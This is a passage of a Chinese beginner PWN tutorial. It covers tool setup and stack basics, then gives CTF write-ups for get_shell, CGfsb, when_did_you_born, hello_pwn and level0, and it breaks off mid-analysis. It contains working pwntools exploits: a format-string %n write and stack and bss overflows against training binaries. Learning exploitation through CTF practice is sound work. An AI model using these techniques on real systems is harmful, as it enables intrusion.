Mac 环境下 PWN入门系列(一) when_did_you_born 题目非常好,适合初学者,对局部变量、stack的认识更深刻了,level0也是非常经典的“留后门”题目

Mac 环境下 PWN入门系列(一)

 

0x0 前言

一个菜🐔web狗的转型之路,记录下自己学习PWN的过程。

备注一些基本知识:

--------

程序内存管理 .bss .data .rodata .text stack heap

1.未初始化的全局变量(.bss段)

bss段用来存放 没有被初始化已经被初始化为0 的全局变量。

2. 已被初始化为非零的全局变量(.data段)

  data段用来存放已经被初始化为非零的全局变量。

3.常量数据(.rodata段)

 1)rodata用来存放常量数据。 ro: read only

 2)字符串会被编译器自动放在rodata中,加 const 关键字的常量数据会被放在 rodata 中

 

4.代码(.text段)

  text段存放代码(如:函数)和部分整数常量(应该指的是一些立即数),这个段是可执行的。

5.栈(stack)

  1)stack 存放函数的局部变量和函数参数

  2)被调用函数的参数和返回值 被存储到当前程序的栈区(从后面反汇编的一些代码即可看出),之后被调用函数再为自身的自动变量和临时变量在栈区上分配空间

  3)函数返回时,栈区的数据会被释放掉,先入后出(FILO)的顺序。

6.堆(heap)

  heap用来动态分配内存,由程序自身决定开辟和释放。

-------------

0x1 简单介绍PWN概念

主要参考下: wiki pwn

我们可以看到PWN具体细分话有好几个种类。

这里笔者重点研究的是: Window Kernal and Linux Kernal (window 内核 和 Linux内核)

CTF 的题目多是 关于两种系统内核的模块漏洞,自写一些漏洞代码的程序,然后通过pwn技术获取到相应程序的完全控制权限等操作。

关于Linux 和 Windows,其实利用原理是一样的,只是在实现的过程存在差异,所以入门的话,我们可以直接选择从Linux Pwn入手开始学习。

 

0x2 环境搭建

由于笔者是MAC环境,所以环境安装这块就多点笔墨了。

1.MAC PD虚拟机 Ubuntu 16.04 x64

2.pwntools

3.pwndbg

4.ida

0x1 mac安装pwntools

采用homebrew 安装很方便

1.安装pwntools
brew install pwntools

2.安装bintuils 二进制工具
## brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-amd64.rb 无效 用下面命令
brew install binutils

命令执行完之后,我们要导入我们pwntools的包放到环境变量。

1./usr/local/Cellar/pwntools/3.12.2_1/libexec/lib/python2.7/site-packages 
2.在系统默认安装包的site-packages写个.pth文件写入上面的地址就可以了

之后我们就可以使用常用的工具

checksec /Users/xq17/Desktop/bf743d8c386f4a83b107c49ac6fbcaaf

最后测试下python的pwn模块

import pwn
pwn.asm("xor eax,eax")

这样就代表可以了。

参考链接:mac下安装pwntools

0x3 MAC 安装 IDA

这个吾爱很多,有针对mac系列的解决方案。

学习二进制吾爱破解账号应该是标配吧。

ida帖子

0x3 工具介绍篇

0x1 pwntools

参考链接: 一步一步学pwntools (看雪论坛)

0x2 gdb+pwndbg

0x2.1 启动gdb

  1. gdb program //直接gdb+文件名开始调试, frequent
  2. gdb program pid //gdb调试正在运行的程序
  3. gdb -args programs 解决程序带命令行参数的情况 或者 run之后再加上参数

0x2.2 退出gdb

quit or q

0x2.3 在gdb调试程序带适合执行shell命令

shell command args

0x2.4 一些基础参数的介绍


gdb的命令分别有:(这里我只说几个重点和常用的)
breakpoints(断点) stack(栈)
help breakpoints 可以查看该命令的详细帮助说明
help all 列出所有命令详细说明
info 用来获取被调试应用程序的相关信息
show 用来获取gdb本身设置的信息

更多内容,参考一下链接(GDB命令基础,让你的程序bug无处躲藏) 我很少记忆,都是需要就去查

pwndbg的学习可以参考官方文档: https://github.com/pwndbg/pwndbg/blob/dev/FEATURES.md

0x3 ida 常用快捷键

F5: 反编译出c语言的伪代码,这个基本是我这种菜鸡特别喜欢用的。  # mac下是fn+f5

空格: IDA VIEW 窗口中 文本视图与图形视图的切换, 好看。 直观,哈哈哈

shift + f12:查找字符串 逆向的时候能快速定位

n: 重命名 整理下程序的命名,能理清楚逻辑

x: 查看交叉引用

0x4 checksec简单介绍

保护机制介绍:

DEP(NX) 不允许执行栈上的数据
RELRO 这个介绍有点长分为两种:
1.Partial RELRO GOT表仍然可写
2.Full RELRO GOT表只读
ASLR(PIE 随机化系统调用地址
stack 栈溢出保护

下面我会针对这些保护继续介绍的,先了解下基本作用和概念。

更细内容可以参考下面的文章

缓冲区溢出保护机制——Linux

 

0x4 实践篇

0x4.1 学习使用pwndpg来理解程序流程

我们入门先写一个hello world的程序

#include <stdio.h>
int hello(int a,int b)
{
  return a+b;
}

int main()
{
printf("Hello world!n");
hello(1, 2);
return 0;
}

编译开启调试选项:

gcc -g -Wall test.c -o test

然后开启我们gdb调试熟悉下程序的执行流程(mac安装pwndpg失败,但是我docker linux下是OK的)

因为可以源码debug

直接 1.b main 2.run

我们看下栈段的信息

所以我们可以根据这些信息,画出调用hello函数的堆栈图。

我们输入s,进入到hello函数,先记录下没进去之前的rbp,rsp==>注意,要先next,因为上一行代码printf,直接s进入printf了。下面这个图是还没有进入hello的汇编代码。call hello才是正式进入的。

这里我们按照指令去跟进call: ni si 两者区别同上

这里我补充下关于函数调用的汇编知识

ret 指令是退出函数 等价于 pop RIP
call 指令是调用函数 分为两步:(1)将当前的rip压入栈中 (2)转移到函数内
push RIP
jmp x
push ebp 就是把ebp的内容放入当前栈顶单元的上方
pop ebp 从栈顶单元中取出数据送入ebp寄存器中
RSP 指向栈顶单元,会根据栈大小来动态改变。

 

 

  1. (1)push和pop指令的格式:

    push 寄存器;将一个寄存器中的数据入栈

    pop 寄存器;出栈,用一个寄存器接收出栈的数据

    【I LOVE ZhuZhu】汇编语言3-4push、pop指令
  2. 2

    (2)push 段寄存器 ;将一个段寄存器中的数据入栈

    pop 段寄存器 ;出栈,用一个段寄存器接收出战的数据

    【I LOVE ZhuZhu】汇编语言3-4push、pop指令
  3. 3

    (3)push和pop也可以在内存单元和内存单元之间传送数据:

    push 内存单元;将一个内存字单元处的字入栈(栈操作都是以字为单位)

    pop 内存单元 ;出栈,用一个内存字单元接收出栈的数据

    【I LOVE ZhuZhu】汇编语言3-4push、pop指令
     
    END
  4. rip是64位地址偏移寄存器,举例说明,下面是一个程序执行的快照:

 RBP  0x7fffffffec20 —▸ 0x555555555180 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe860 —▸ 0x7fffffffe8b0 —▸ 0x7ffff7fe2180 (_dl_fini) ◂— push   rbp
*RIP  0x7ffff7fe1602 (_dl_fixup+226) ◂— jne    0x7ffff7fe1670 表示当前程序将执行jne命令,地址嘛
────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────
   0x7ffff7fe15f3 <_dl_fixup+211>    mov    r9, rax
   0x7ffff7fe15f6 <_dl_fixup+214>    mov    eax, dword ptr fs:[0x18]
   0x7ffff7fe15fe <_dl_fixup+222>    pop    rdx
   0x7ffff7fe15ff <_dl_fixup+223>    pop    rcx
   0x7ffff7fe1600 <_dl_fixup+224>    test   eax, eax
 ► 0x7ffff7fe1602 <_dl_fixup+226>    jne    _dl_fixup+336 <_dl_fixup+336>  这就是即将要执行的汇编码
 
   0x7ffff7fe1604 <_dl_fixup+228>    mov    rax, qword ptr [rsp + 8]
   0x7ffff7fe1609 <_dl_fixup+233>    xor    r8d, r8d
   0x7ffff7fe160c <_dl_fixup+236>    test   rax, rax

 

我们验证下:

然后si跟进==>奇怪,我的hello运行不到{ 断点,使用si可以,si表示使用汇编一条一条运行。s表示源码c风格一行一行代码运行。

然后我们获取下rbp的内存地址来画堆栈图

这个时候rbp值没改变,但是rsp改变了

执行完mov rbp, rsp

后面就到return a+b,这里没有进行开辟栈空间,所以这些操作并没有在当前栈里面。rbp rsp指向同一地址

接着执行ret可以看到

RIP的值就是上面那个栈顶的值, 这就验证了ret => pop rip

这里栈没什么空间,所以这里丢个简单的栈图

关于执行执行汇编码以后stack的变化说明:

 RBP  0x0
*RSP  0x7fffffffebc0 ◂— 0x0
*RIP  0x7ffff7e3fe21 (__call_tls_dtors+1) ◂— push   rbx
────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────
   0x7ffff7e3fe20 <__call_tls_dtors>       push   rbp  从上面可以看到rbp为0,则运行这条指令以后,stack栈顶应该为0
 ► 0x7ffff7e3fe21 <__call_tls_dtors+1>     push   rbx <0x7ffff7fbf718>
   0x7ffff7e3fe22 <__call_tls_dtors+2>     sub    rsp, 8
   0x7ffff7e3fe26 <__call_tls_dtors+6>     mov    rbx, qword ptr [rip + 0x17ef33]
   0x7ffff7e3fe2d <__call_tls_dtors+13>    mov    rbp, qword ptr fs:[rbx]
   0x7ffff7e3fe31 <__call_tls_dtors+17>    test   rbp, rbp
   0x7ffff7e3fe34 <__call_tls_dtors+20>    je     __call_tls_dtors+93 <__call_tls_dtors+93>
    ↓
   0x7ffff7e3fe7d <__call_tls_dtors+93>    add    rsp, 8
   0x7ffff7e3fe81 <__call_tls_dtors+97>    pop    rbx
   0x7ffff7e3fe82 <__call_tls_dtors+98>    pop    rbp
   0x7ffff7e3fe83 <__call_tls_dtors+99>    ret    
────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffebc0 ◂— 0x0  看吧,都说了stack为0!!!
01:0008│      0x7fffffffebc8 —▸ 0x7ffff7e3f6fd (__run_exit_handlers+589) ◂— jmp    0x7ffff7e3f4cf
02:0010│      0x7fffffffebd0 ◂— 0x0
03:0018│      0x7fffffffebd8 ◂— 0x100000000
04:0020│      0x7fffffffebe0 ◂— 0x0
... ↓
06:0030│      0x7fffffffebf0 —▸ 0x555555555180 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffebf8 —▸ 0x555555555050 (_start) ◂— xor    ebp, ebp

可以预见,执行下一条push指令以后,stack栈顶为rbx的值,si运行下一条汇编指令可以看到:

────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────
   0x7ffff7e3fe20 <__call_tls_dtors>       push   rbp
   0x7ffff7e3fe21 <__call_tls_dtors+1>     push   rbx
 ► 0x7ffff7e3fe22 <__call_tls_dtors+2>     sub    rsp, 8
   0x7ffff7e3fe26 <__call_tls_dtors+6>     mov    rbx, qword ptr [rip + 0x17ef33]
   0x7ffff7e3fe2d <__call_tls_dtors+13>    mov    rbp, qword ptr fs:[rbx]
   0x7ffff7e3fe31 <__call_tls_dtors+17>    test   rbp, rbp
   0x7ffff7e3fe34 <__call_tls_dtors+20>    je     __call_tls_dtors+93 <__call_tls_dtors+93>
    ↓
   0x7ffff7e3fe7d <__call_tls_dtors+93>    add    rsp, 8
   0x7ffff7e3fe81 <__call_tls_dtors+97>    pop    rbx
   0x7ffff7e3fe82 <__call_tls_dtors+98>    pop    rbp
   0x7ffff7e3fe83 <__call_tls_dtors+99>    ret    
────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffebb8表示栈顶)—▸ 0x7ffff7fbf718 (__exit_funcs) (都说了是$rbx这个值吧,见下!)—▸ 0x7ffff7fc1b00 (initial) ◂— 0x0
01:0008│      0x7fffffffebc0 ◂— 0x0
02:0010│      0x7fffffffebc8 —▸ 0x7ffff7e3f6fd (__run_exit_handlers+589) ◂— jmp    0x7ffff7e3f4cf
03:0018│      0x7fffffffebd0 ◂— 0x0
04:0020│      0x7fffffffebd8 ◂— 0x100000000
05:0028│      0x7fffffffebe0 ◂— 0x0
... ↓
07:0038│      0x7fffffffebf0 —▸ 0x555555555180 (__libc_csu_init) ◂— push   r15
──────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────
 ► f 0     7ffff7e3fe22 __call_tls_dtors+2
   f 1     7ffff7e3f6fd __run_exit_handlers+589
   f 2     7ffff7e3f74a
   f 3     7ffff7e27cd1 __libc_start_main+241
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p/x $rbx  #使用16进制查看寄存器值
$18 = 0x7ffff7fbf718

0x4.2 参考链接

Linux gcc和gdb程序调试用法

pwn 题GDB调试技巧和exp模板

【汇编】堆栈和画堆栈图

 

(gdb) n(ext) : 单步运行,逐过程调试,C Style
(gdb) s(tep) : 单步运行,逐语句调试,C Style
(gdb) n(ext)i : 单步运行,逐过程调试, asm Style
(gdb) s(tep)i : 单步运行,逐语句调试, asm Style

0x5 练习篇

第一部分我打算从攻防世界的新手区刷起

0x1 get_shell

(1) 题目描述及其考点

题目描述:运行就能拿到shell呢,真的
考点: 基本的pwntools使用

(2) wp

get_shell

难度系数: 6.0
题目描述:运行就能拿到shell呢,真的
题目场景:
220.249.52.133:57808
题目附件:
链接:https://pan.baidu.com/s/13OAHCWRew06-jZINlvVUtA
提取码:eodj

 

直接hex Fiend查看或者checksec 或者用自带的file x

可以得知这个程序是64位(x86-64 就是x64)的

我们直接用ida打开,f5反汇编一下,可以知道这个题目的确很基础,考察基本的pwn链接。

可以看出来直接system执行了命令行下的输入

int __cdecl main(int argc, const char **argv, const char **envp)
{
  puts("OK,this time we will get a shell.");
  system("/bin/sh");
  return 0;
}

那么我们直接写个连接nc的脚本就行了

上面给出了nc的地址: 111.198.29.45:34462

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import * 
c = remote("111.198.29.45", 34462)
c.interactive()

运行,结束

flag乖乖出来啦~
flag就不打码了,没有什么必要,其实flag就是这个文件,getshell以后什么都好说。

直接运行看看:

 chmod u+x get_shell
root@41e8b15e7e58:/data# ls
get_shell
root@41e8b15e7e58:/data# ls -l
total 12
-rwxr--r-- 1 root root 8656 Oct  6 12:42 get_shell
root@41e8b15e7e58:/data# ./get_shell
OK,this time we will get a shell.
# ls
get_shell
# pwd
/data
也是get shell的真正效果。

0x2 CGfsb

(1) 题目描述及其考点

题目描述:菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用
漏洞点: 格式化字符串

(2)wp

文件下载地址:

链接:https://pan.baidu.com/s/1a9zj-OQAOgTw7KooZPBBaQ
提取码:y9wi

 

格式化字符串漏洞利用学习

我们把附件下载下来,直接ida打开。

我们checksec查看下

这是32位架构的,直接用ida64打开是没办法反编译的,这里我们选择用32位ida去打开

然后在左边那个Function name窗口按下m就会匹配以m开头的函数,找到main函数,f5反编译

// 这里我选取了重要代码出来,
  puts("please tell me your name:"); 
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);// 这里漏洞点
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:n");
    system("cat flag");
  }

printf()的标准格式是: printf(“<格式化字符串>”,<参量表>)

首先我们找出偏移量

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *

c = remote("111.198.29.45", 53486)
c.sendlineafter('name:', 'aaa')
c.sendlineafter('please:', 'AAAA %x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x')
c.interactive()

AAAA 其实就是 十进制ascii 65->0x41 (16进制) 这样看起来比较方便。

我们可以看到AAAA 相对于格式化字符串的偏移量是10。???

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *

c = remote("111.198.29.45", 53486)
payload = p32(0x0804A068) + '1234' + '%10$n'
c.sendlineafter('name:', 'aaa')
c.sendlineafter('please:', payload)
c.interactive()

这里需要介绍%n在格式化字符串中作用

%n: 将%n 之前printf已经打印的字符个数赋值给格式化字符串对应偏移地址位置

这里因为要pwnme为8,所以我们构造p32(0x0804A068) + '1234'8个字节(其实只要是8个字符就可以,也不一定非得p32),然后%10$n进行赋值给p32(0x0804A068)地址,从而pwn掉。

没看懂,下面有更详细的说明:

先介绍一下格式化字符串漏洞,这种漏洞在实际中应该很少有了,但仍然需要了解这些基础的漏洞知识。

会触发该漏洞的函数很有限,主要就是printf、sprintf、fprintf等print家族函数,该题就是利用了printf的漏洞,下面以printf为例进行介绍。

printf函数的使用方法为:printf("format", 输出表列),由于format部分可以有许多的占位符及字母,所以接受的参数数量是不定的,而且对参数的处理是有顺序的。

 下面介绍摘自https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_intro/

在一开始,我们就给出格式化字符串的基本介绍,这里再说一些比较细致的内容。我们上面说,格式化字符串函数是根据格式化字符串函数来进行解析的。那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制。比如说'%s'表明我们会输出一个字符串参数。

我们再继续以上面的为例子进行介绍

基本例子

对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下

some value
3.14
123456
addr of "red"
addr of format string: Color %s...

注:这里我们假设 3.14 上面的值为某个未知的值。

在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况

  • 当前字符不是 %,直接输出到相应标准输出。
  • 当前字符是 %, 继续读取下一个字符
    • 如果没有字符,报错
    • 如果下一个字符是 %, 输出 %
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出

那么假设,此时我们在编写程序时候,写成了下面的样子

printf("Color %s, Number %d, Float %4.2f");

此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整形值
  3. 解析其内容对应的浮点值

对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。

这基本就是格式化字符串漏洞的基本原理了。

漏洞发生机理
假设一个字符串str,一般来说,使用printf的时候,我们的用法是:printf("%s", str),但是有人是这样用的printf(str),这种情况下我们还能输出吗?答案是可以,因为printf函数的格式,str会被当做format参数,我们知道,使用printf的时候,format参数中的字符串是可以被输出的,但是如果这串字符串中有基本的格式化字符串参数(%s, %n, %x, %p等,下面做个介绍),那么这些内容就会被当做基本的格式化字符串参数来处理,这样就出现了可利用的漏洞。

常用基本的格式化字符串参数介绍:

%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置如%100×10$n表示将0x64(十进制为100)写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

 下面通过一个例子——CGfsb来进行一下简单的格式化字符串漏洞的利用。

对文件类型进行分析,发现是elf文件:

 放到ida中看一下伪代码:

 发现得到flag的关键就是让pwnme==8,这就要利用上面的printf函数了,这个printf函数正好存在我们所说的格式化字符串漏洞。

那么我们下面要做的就是找到printf输出的这个参数的地址了,也就是计算一下这个参数的偏移量。(有这个变量的定义,见下面text段)

ida找到要利用的printf函数的地址:0x080486CD

 然后gdb调试这个文件,在这个地址设置断点,然后运行:

 现在查看寄存器中的地址和值:

可以数出偏移量为10,所以这个参数的位置就是10了。???咋数出来的???

----

补:

(1)ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。
(2)EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。

在这里要注意由于在intel系统中栈是向下生长的(栈越扩大其值越小,堆恰好相反)

 

根据上述的定义,在通常情况下ESP是可变的,随着栈的生产而逐渐变小,而ESB寄存器是固定的,只有当函数的调用后,发生入栈操作而改变。

在上述的定义中使用ESP来标记栈的底部,他随着栈的变化而变化

pop ebp;出栈 栈扩大4byte 因为ebp为32位

push ebp;出栈,栈减少4byte

add esp, 0Ch;表示栈减小12byte

sub esp, 0Ch;表示栈扩大12byte

而ebp寄存器的出现则是为了另一个目标,通过固定的地址与偏移量来寻找在栈参数与变量。而这个固定值者存放在ebp寄存器中,。但是这个值会在函数的调用过程发生改变。而在函数执行结束之后需要还原,因此,在函数的出栈入栈过程中进行保存。

-----

接下来用一个脚本,对这个漏洞进行利用:
 

  1. from pwn import *
  2.  
  3. p = remote('111.198.29.45', 31559)
  4. pwnme = 0x0804A068
  5.  
  6. payload1 = 'aaaa'
  7. payload2 = p32(pwnme) + 'aaaa%10$n'
  8.  
  9. p.recvuntil('please tell me your name:\n')
  10. p.sendline(payload1)
  11. p.recvuntil('leave your message please:\n')
  12. p.sendline(payload2)
  13. print(p.recv())
  14. print(p.recv()) #p.interactive()

可以看到输出了flag:

要深刻理解这个例子,请看:https://www.cnblogs.com/bonelee/p/13775831.html 我总结的printf %n的作用!另外:https://stackoverflow.com/questions/3401156/what-is-the-use-of-the-n-format-specifier-in-c 也有很准确的说明。

上面这个例子,因为在我的docker linux上无法运行,提示-bash: ./CGfsb: No such file or directory,明明有这个文件,解决方法:参考 https://stackoverflow.com/questions/35071872/bash-no-such-file-or-directory

核心就是因为缺失了 ld-linux.so.2 这个文件,安装方法:apt install lib32z1

安装成功以后,就可以正常执行了。

 

至于pwn代码,我用上面的代码无法工作,用下面的可以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
p = process("./CGfsb") # remote('111.198.29.45', 31559)
pwnme = 0x0804A068
 
payload1 = 'aaaa'
payload2 = str(p32(pwnme, endian='big')) + 'aaaa%10$n'
payload2 = fmtstr_payload(10, {pwnme: 8})
print("payload2:", payload2)
 
p.recvuntil('please tell me your name:\n')
p.sendline(payload1)
p.recvuntil('leave your message please:\n')
p.sendline(payload2)
print(p.recv())
print(p.recv()) #p.interactive()
p.interactive()

 运行效果:

1
2
3
4
5
root@41e8b15e7e58:/data# python pwn_cgfsb.py
[+] Starting local process './CGfsb': pid 379
payload2: b'%8c%12$nh\xa0\x04\x08'
b'hello aaaa\nyour message is:\n       \x9eh\xa0\x04\x08\nyou pwned me, here is your flag:\n\n'
b'cat: '

 

解释:任意地址写,pwn.fmtstr_payload

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

理解:fmtstr_payload(偏移,{key内存地址,value值})  ==》 fmtstr_payload(10, {pwnme: 8})

--------------------

 

0x3 when_did_you_born (这个题目非常好,非常适合初学者练手)

(1)题目描述及其考点

文件下载地址:

链接:https://pan.baidu.com/s/1eT_oVeEKPts8Lw2P0nDEnw
提取码:1axx

只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办
考点: 栈溢出

(2) wp

首先看下文件结构:

这里开启了Canary保护,也许你现在对此一无所知,但是没关系,看我细细道来。

canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处,先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致

那么这句话是什么意思呢,就算你不懂汇编,也没关系,听我一点点地举例子来分析。

我们ida64打开下载下来的elf文件, 左边按m找到main函数,代码如下。

调用函数过程涉及到三个寄存器(寄存器可以理解为一个存放值的盒子)
分别是 sp,bp,ip (16位cpu) esp,ebp,eip(32位cpu) rsp,rbp,rip(64位cpu)
rsp用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
rbp用来存储当前函数状态的基地址,在函数运行时不变,用来索引确定函数的参数或局部变量的位置
rip 用来存储即将执行的程序指令的地址, cpu根据eip的存储内容读取指令并执行(程序控制指令模式)
栈空间增长方式是从高地址到地址的,也就是栈顶的地址值是小于栈底的地址值的

左边直接找main函数,然后f5,得到代码

这代码逻辑其实很容易看懂,就是一开始v5不能等于1926进入else流程的时候,v5等于1926就能输出flag

作为一枚pwn萌新,其实感觉还是有点不可思议的,但是转头想想栈溢出覆盖值的概念,就觉得可以理解了。

我们注意下else流程哪里,有个gets(&v4) 是char类型的,很明显不对劲嘛,gets应该读取的是字符串类型

这样我就可以输入无数个字符,这样可能就会导致栈溢出

然后我们想想,我们可不可以控制v4让其溢出去覆盖v5的值呢,下面看我操作吧。

我们首先需要确认下v4v5的位置

ida反编译直接双击或者鼠标点到v4 v5可以看到相对esp ebp的位置==》IDA里反汇编就是如此

v4 rsp+0h rbp-20h
v5 rsp+8h rbp-18h

所以说我们可以直接写exp了。

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *
c = remote('111.198.29.45', '52808')
c.sendlineafter('Birth?', '1999')
c.sendlineafter('Name?','A'*8 + p64(1926))
c.interactive()

因为上面是py2的代码,在我的py3下,应该这样写:
1
2
3
4
5
6
7
8
#!/usr/bin/python
# -*- coding:utf-8 -*-
 
from pwn import *
c = process("./when") # remote('111.198.29.45', 31559)
c.sendlineafter('Birth?', '1999')
c.sendlineafter('Name?',b'A'*8 + p64(1926)) #.decode())
c.interactive()

  payload = b'a' * 8 + p64(1926) //因为py3中默认不是比特流,所以要用'b'来进行类型转换,

其实画个图很好理解

这里因为不需要栈越界所以canary保护就没啥用了,如果栈越界的话,那么就会导致canary存的值发生改变,然后比较改变之后程序就会执行__stack_chk_fail函数,从而终止程序,后面遇到bypass cannary保护我再继续深究下具体流程,目前我们还是继续刷题,巩固下前面的知识先。

(3) 参考链接

Canary保护详解和常用Bypass手段

Bit,Byte,Word,Dword,Qword

手把手教你栈溢出从入门到放弃

gdb查看函数调用栈

手把手教你玩转GDB(一)——牛刀小试:启动GDB开始调试

0x4 hello_pwn

文件下载地址:

链接:https://pan.baidu.com/s/1Qp1fxOU8b4VobwSIouK7OQ
提取码:g47i

(1)题目描述及其考点

pwn!,segment fault!菜鸡陷入了深思
考点: bss段溢出

(4)wp

我们首先把文件下载下来,checksec一下

还是老套路找入口函数main

然后我会直接双击sub_400686查看下函数内容.

这样就很容易明白我们的目标是让等式成立。

.assets/image-20191006222315601.png#alt=image-20191006222315601)

我们可以通过read控制unk_601068 10个字节。

这里涉及到bss段的概念

bss段主要存放未初始化的全局变量
可以看到上面两个变量都是没有进行初始化的。
bss段数据是向高地址增长的,所以说低地址数据可以覆盖高地址数据(关键,注意和stack的区别!!!)

流程很简单,只要保证dword 106c这个变量的值等于后面这个数字就可以了,前面有read函数,明显的栈溢出,只要想办法修改下面这个变量的值就行了。

发现这两个变量的差值为4,所以只需要溢出的时候填充四个字节的无效信息,再填充后面那个数字,就可去执行sub函数,拿到flag。

所以我们可以直接写出exp了 两者之间的相差4个字节 0x6B-0x68=0x4,我们还可0x10-0x4=12字节,

写入1853186401=0x6E756161小于int范围4字节足矣

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *
ip, port = '111.198.29.45:44975'.split(':')
# print(ip, port)
c = remote(ip, port)
#接收完这个数据之后再发送.其实不要也行,得看服务端处理速度
c.recvuntil("lets get helloworld for bof") 
c.sendline('A'*4 + p64(1853186401))
c.interactive()
我的python3 pwn代码:
1
2
3
4
5
6
7
8
#!/usr/bin/python
# -*- coding:utf-8 -*-
 
from pwn import *
c = process("./hellopwn") # remote('111.198.29.45', 31559)
c.recvuntil("lets get helloworld for bof")
c.sendline(b'A'*4 + p64(1853186401))
c.interactive()

 

0x3 参考链接

BSS段的溢出攻击

Heap/BSS 溢出机理分析[转]

0x5 level0

题目地址

https://dn.jarvisoj.com/challengefiles/level0.b9ded3801d6dd36a97468e128b81a65d

(1)题目描述及其考点

菜鸡了解了什么是溢出,他相信自己能得到shell
考点: 栈溢出 return2libc

这个题目很经典的栈溢出漏洞利用,通过栈溢出来覆盖返回地址,从而调用恶意函数地址。

而且这个漏洞代码非常简洁,很适合新手去学习。

(2)wp

第一步套路看保护:

第二步ida搜索入口函数

看到vulnerable_function,显然是个提示。

然后看下函数的代码是啥:

然后我们shift+f12看下字符串:

发现有个/bin/sh,

通过xref确定了后门函数:

所以说如果我们能调用这个函数就可以反弹一个shell了。

这个时候基本就可以猜到是栈溢出了覆盖函数返回地址

我们具体来分析下:

首先我们查看下write and read函数的文档说明:

read(int fd,void buf,size_t nbyte)
ssize_t write(int fd,const void
buf,size_t nbytes)
fd是文件描述符 0是标准输入 1是标准输出
其实很好理解,第一个函数往1里面写入了hello world,因为1对应的标准输出对象是屏幕,所以就会在屏幕上输出helloworld,就是一个printf的功能。
同理read也是这样,我们直接在屏幕输入的数据就会被读取到buf里面。

这个题目没开pie,也就是地址其实就是固定的,所以我们先确定下那个shell函数的地址(函数开始地址): 0000000000400596

我们继续分析下read的问题:

1
2
3
4
5
6
ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]
 
  return read(0, &buf, 0x200uLL);
}

 这里buf应该是char类型1字节大小,但是读取的时候竟然可以写入0x200的数据,这里的栈大小是0x80字节

那个0x80怎么算的呢

rsp+0h 说明这个位置其实就是rsp的位置
rbp-80h 说明rbp距离rsp是0x80h,那么栈的大小不就是rbp-rsp=+0x80大小吗?

直接看IDA吧,IDA里点击buf变量,即可查看对应的stack情况,frame size不就80吗:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
-0000000000000080 ; D/A/*   : change type (data/ascii/array)
-0000000000000080 ; N       : rename
